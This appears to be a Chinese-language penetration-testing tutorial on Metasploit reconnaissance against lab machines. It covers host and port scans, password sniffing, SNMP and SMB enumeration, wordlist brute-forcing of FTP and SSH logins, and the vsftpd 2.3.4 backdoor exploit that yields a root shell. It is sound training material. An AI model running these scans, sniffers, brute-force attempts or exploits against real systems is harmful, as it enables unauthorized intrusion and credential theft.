利用Metasploit信息搜集
信息搜集
发现目标网段的存活主机:
我们可以利用auxiliary这个模块来获取目标网端的信息,包括端口开放情况、主机存活情况。
auxiliary/scanner/discovery/arp_sweep
auxiliary/scancer/smb/smb_version 存活的445主机
auxiliary/scanner/portscan/syn 端口扫描
auxiliary/scanner/telnet/telnet_version telent服务扫描
auxiliary/scanner/rdp/rdp_scanner 远程桌面服务扫描
auxiliary/scanner/ssh/ssh_version ssh主机扫描
一般情况下我们在渗透测试的时候,如果在不知道资产的情况下,我们会把整个网端进行扫描存活主机,然后再对存活的信息收集信息,这样的话就可以缩短我们的渗透测试时间,而不盲目的去测试,有时候盲目信息收集会导致后期渗透的道路都是弯的,达不到预期的效果。
不管是端口扫描还是探测存活主机,都是要设置目标IP地址set rhosts ip地址,如果扫描整个网段的话,最后设置一下线程:set thread 线程数(根据情况设置)。
执行run命令开始扫描网段的存活主机,发现有服务器存活,这样的话我们就可以对这些存活主机进行下一步的信息收集,比如22、445、3389等敏感端口开放情况探测,在这里需要说明一下,以小白的渗透测试经验,一般我先不扫描整个网端,因为这样对目标主机有损耗,可以直接扫描有溢出漏洞的高危端口,如果有的话,那么就可以通过溢出进行提权,这样的方法也是一种捷径。相反的情况下,如果全端口扫描的话建议用nmap工具。
kali有自己的密码,内置密码表的地址:/usr/share/wordlists/metasploit/
一般爆破的话我们可以对ssh、mysql、sql、Oracle、vnc、telnet等常用的端口
1)auxiliary/scanner/mysql/mysql_login
2)auxiliary/scanner/mssql/mssql_login
3)auxiliary/scanner/ssh/ssh_login
tcp协议的信息搜集
使用nmap和arp_sweep搜集信息
#msfconsole
msf6 > db_nmap -sV 192.168.3.1
ARP 扫描
msf6 > use auxiliary/scanner/discovery/arp_sweep
查看需要哪些参数
show options
配置RHOSTS 扫描的目标网络
set RHOSTS 192.168.3.0/24
SHOST 和 SMAC 是伪造的IP 和MAC地址使用的
配置线程数
set THREADS 30
run
使用半连接方式扫描TCP
msf6 > search portscan |
扫描结果
msf6 auxiliary(scanner/portscan/syn) > run |
使用 auxiliary sniffer 下的 psnuffle 模块进行密码嗅探
这个 psnuffle 模块 可以像以前的 dsniff 命令一样,去嗅探密码, 只支持 pop3,imap,ftp,HTTP GET 协议 。
扩展:Dsniff 是一个著名的网络嗅探工具包、高级口令嗅探工具、综合性的网络嗅探工具包。
msf6 > use auxiliary/sniffer/psnuffle
run
shift + ctrl + t 建立新终端 登录ftp
安装ftp apt install lftp -y
lftp -u msfadmin 192.168.3.27 # 27为metasploitable2-Linux靶机的ip
密码 msfadmin
ls
回到msf发现信息已经拿到
关闭后台
jobs
kill 0
?这不是我已经输过账号和密码了吗
基于SNMP协议收集主机信息
简单网络管理协议
(SNMP Simple Network Management Protocol ),由一组网络管理的标准组成,包含一个应用层协议( application layer protocol )、数据库
模型 database schema )和一组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。
在典型的SNMP用法中,有许多系统被管理,而且是有一或多个系统在管理它们。每一个被管理的系统上有运行一个叫做代理者(agent)的软件组件,且透SNMP
对管理系统报告信息。
将kali设为代理者 靶机向kali发送信息
我们使用root 用户先到 Metasploitable2 Linux 主机上修改一下 SNMP 服务,因为默认服务是不对外开放的。
msfadmin@metasploitable:~vim /etc/default/snmpd
改第11 行
SNMPDOPTS='Lsd Lf /dev/null u snmp I smux p /var/run/snmpd.pid 0.0.0.0
保存退出
重启SNMP 服务
msfadmin@metasploitable:~$ sudo /etc/init.d/snmpd restart
确认服务监听正常
msfadmin@metasploitable:~$ netstat antup grep 161
使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息
msf6 >use auxiliary/scanner/snmp/snmp_enum
msf6 > auxiliary(scanner/snmp/snmp_enum) > show options
msf6 >auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.3.27
msf6 >auxiliary(scanner/snmp/snmp_enum) > run
可以看到snmp探测到东西很多,但服务器硬件和运行的进程信息是其他扫描方式,该协议获取不到的
基于SMB协议收集信息
服务器消息块(Server Message Block,缩写为SMB),又称网络文件共享系统(Common Internet File System,缩写为CIFS),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件,打印机,串行端口和通讯等资源。它也提供经认证的进程间通信机能。它主要用在装有Microsoft Windows的机器上,在这样的机器上被称为Microsoft Windows Network。
经过Unix 服务器厂商重新开发后,它可以用于连接 Unix 服务器和 Windows 客户机,执行打印和文件共享等任务。
使用 smb_enumshares 基于 SMB 协议扫共享文件(账号、密码)
SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会更满足我们的需求 。
新建文件夹设置共享
添加admin信息获取密码(这是我设置的密码是123456)
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.3.28
RHOSTS => 192.168.3.28msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBUSER admin
SMBUSER => adminmsf6 auxiliary(scanner/smb/smb_enumshares) > set SMBPASS 123456
SMBPASS => 123456
共享文件目录除了SMB还有 4 个是隐藏的共享目录。
使用 smb_lookupsid 扫描系统用户信息(SID枚举)
新建一个用户phantom 123456
SID 是 Windows 中每一个用户的ID,更改用户名SID也是不会改变的。
msf6 > use auxiliary/scanner/smb/smb_lookupsid
msf6 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 192.168.3.33 #win7的地址
RHOSTS => 192.168.3.33
msf6 auxiliary(scanner/smb/smb_lookupsid) > set SMBUSER admin
SMBUSER => admin
msf6 auxiliary(scanner/smb/smb_lookupsid) > set SMBPASS 123456
SMBPASS => 123456
msf6 auxiliary(scanner/smb/smb_lookupsid) > run
使用 smb_version 基于 SMB 协议扫描版本号
use auxiliary/scanner/smb/smb_version设置
set RHOSTS 192.168.3.28, 192.168.3.23
run
可以扫描到本机的详细信息,操作系统的版本号(本机信息就不放截图了)
基于SSH协议收集信息
查看 ssh 服务的版本信息
root@kali:~# echo “msfadmin msfadmin” >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.3.27
RHOSTS => 192.168.3.27
msf6 auxiliary(scanner/ssh/ssh_version) > set USERPASS_FiLE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FiLE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
run
基于FTP协议收集信息
查看 ftp 服务的版本信息
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.3.27
RHOSTS => 192.168.3.27
msf6 auxiliary(scanner/ftp/ftp_version) > run
[+] 192.168.3.27:21 - FTP Banner: ‘220 (vsFTPd 2.3.4)\x0d\x0a’
[*] 192.168.3.27:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
可以看到FTP版本为2.3.4
search ftp
use exploit/unix/ftp/vsftpd_234_backdoor
set 192.168.3.27
run获得root权限
id
uid=0(root) gid=0(root)
2.ftp匿名登录扫描
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.3.27
RHOSTS => 192.168.3.27
msf6 auxiliary(scanner/ftp/anonymous) > run
[+] 192.168.3.27:21 - 192.168.3.27:21 - Anonymous READ (220 (vsFTPd 2.3.4))
[*] 192.168.3.27:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
3.ftp暴力破解
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.3.27
set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
run前面的都是错的
[+] 192.168.3.27:21 - 192.168.3.27:21 - Login Successful: msfadmin:msfadmin
[*] 192.168.3.27:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed